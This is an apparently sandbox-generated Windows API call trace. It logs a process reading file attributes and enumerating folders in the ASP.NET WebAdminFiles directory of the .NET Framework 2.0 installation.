	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DebugAndTrace.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\debugandtrace.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cf048 | out: lpFileInformation=0x125cf048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf868b9e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf868b9e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90825611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb0d)) returned 1
	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\DefineErrorPage.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\defineerrorpage.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cf098 | out: lpFileInformation=0x125cf098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8b4e58, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf8b4e58, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9084b76f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x999)) returned 1
	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\EditAppSetting.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\editappsetting.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cf0e8 | out: lpFileInformation=0x125cf0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81c8e4, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf81c8e4, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x908718cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x456)) returned 1
	[0087.973] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\ManageAppSettings.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\manageappsettings.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cf138 | out: lpFileInformation=0x125cf138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf842a41, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf842a41, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90897a2b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc19)) returned 1
	[0087.974] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\App_LocalResources\\SmtpSettings.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\app_localresources\\smtpsettings.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cf188 | out: lpFileInformation=0x125cf188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf8b4e58, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf8b4e58, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x908bdb89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd17)) returned 1
	[0087.974] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf1d8 | out: lpFileInformation=0x125cf1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc96caf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddc96caf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90956101, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xe55)) returned 1
	[0087.974] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf228 | out: lpFileInformation=0x125cf228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc96caf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddc96caf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9097c25f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2fdd)) returned 1
	[0087.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf278 | out: lpFileInformation=0x125cf278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddbfe73b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddbfe73b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x909a23bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x46fd)) returned 1
	[0087.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf2c8 | out: lpFileInformation=0x125cf2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb4006a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddb4006a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90a147d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x900)) returned 1
	[0087.975] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf318 | out: lpFileInformation=0x125cf318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc24898, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddc24898, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90a147d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c)) returned 1
	[0087.976] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx"), fInfoLevelId=0x0, lpFileInformation=0x125cf368 | out: lpFileInformation=0x125cf368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb19f0d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xddb19f0d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90a3a935, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x457b)) returned 1
	[0087.976] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code"), fInfoLevelId=0x0, lpFileInformation=0x125cf3b8 | out: lpFileInformation=0x125cf3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee1747c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee1747c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.977] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.977] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee1747c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee1747c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.979] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.979] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf638 | out: lpFileInformation=0x125cf638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee24d8d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdee24d8d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90101471, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3b5)) returned 1
	[0087.980] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf688 | out: lpFileInformation=0x125cf688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedfec30, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdedfec30, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9020be03, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x376)) returned 1
	[0087.981] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf6d8 | out: lpFileInformation=0x125cf6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded8c819, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xded8c819, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90231f61, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4a4)) returned 1
	[0087.981] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\providerspage.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf728 | out: lpFileInformation=0x125cf728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee4aeea, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdee4aeea, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x902580bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1371)) returned 1
	[0087.982] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\securitypage.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf778 | out: lpFileInformation=0x125cf778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdedb2976, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdedb2976, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9027e21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa75)) returned 1
	[0087.982] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WebAdminPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\webadminpage.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf7c8 | out: lpFileInformation=0x125cf7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee24d8d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdee24d8d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x902a437b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xbdfd)) returned 1
	[0087.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\WizardPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\wizardpage.cs"), fInfoLevelId=0x0, lpFileInformation=0x125cf818 | out: lpFileInformation=0x125cf818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded8c819, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xded8c819, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x902a437b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x339)) returned 1
	[0087.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_data"), fInfoLevelId=0x0, lpFileInformation=0x125cf868 | out: lpFileInformation=0x125cf868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.983] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.983] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedcb1c8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedcb1c8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.983] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.983] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_data\\groupedproviders.xml"), fInfoLevelId=0x0, lpFileInformation=0x125cf908 | out: lpFileInformation=0x125cf908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaba4c2a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaba4c2a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90421127, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13d)) returned 1
	[0087.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_globalresources"), fInfoLevelId=0x0, lpFileInformation=0x125cf958 | out: lpFileInformation=0x125cf958*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedf1322, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedf1322, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.984] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_globalresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.984] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfedf1322, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfedf1322, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.985] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.985] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_globalresources\\appconfigcommon.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cfa48 | out: lpFileInformation=0x125cfa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd9db55, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdfd9db55, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90447285, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x309)) returned 1
	[0087.985] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_GlobalResources\\GlobalResources.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_globalresources\\globalresources.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cfa98 | out: lpFileInformation=0x125cfa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd9db55, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdfd9db55, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90493541, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x10fc)) returned 1
	[0087.985] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x125cfae8 | out: lpFileInformation=0x125cfae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee3d5d6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee3d5d6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.985] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.985] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe823e6c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfee3d5d6, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfee3d5d6, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.987] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.988] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\webadminhelp.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cfea8 | out: lpFileInformation=0x125cfea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde0c12db, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde0c12db, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x906a8865, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2e1a)) returned 1
	[0087.988] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Application.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\webadminhelp_application.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cfef8 | out: lpFileInformation=0x125cfef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde075021, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde075021, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x906ce9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x570e)) returned 1
	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Internals.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\webadminhelp_internals.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cff48 | out: lpFileInformation=0x125cff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde002c0a, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde002c0a, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x906ce9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x18c9)) returned 1
	[0087.989] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_LocalResources\\WebAdminHelp_Provider.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_localresources\\webadminhelp_provider.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x125cff98 | out: lpFileInformation=0x125cff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde028d67, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde028d67, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x906f4b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2924)) returned 1
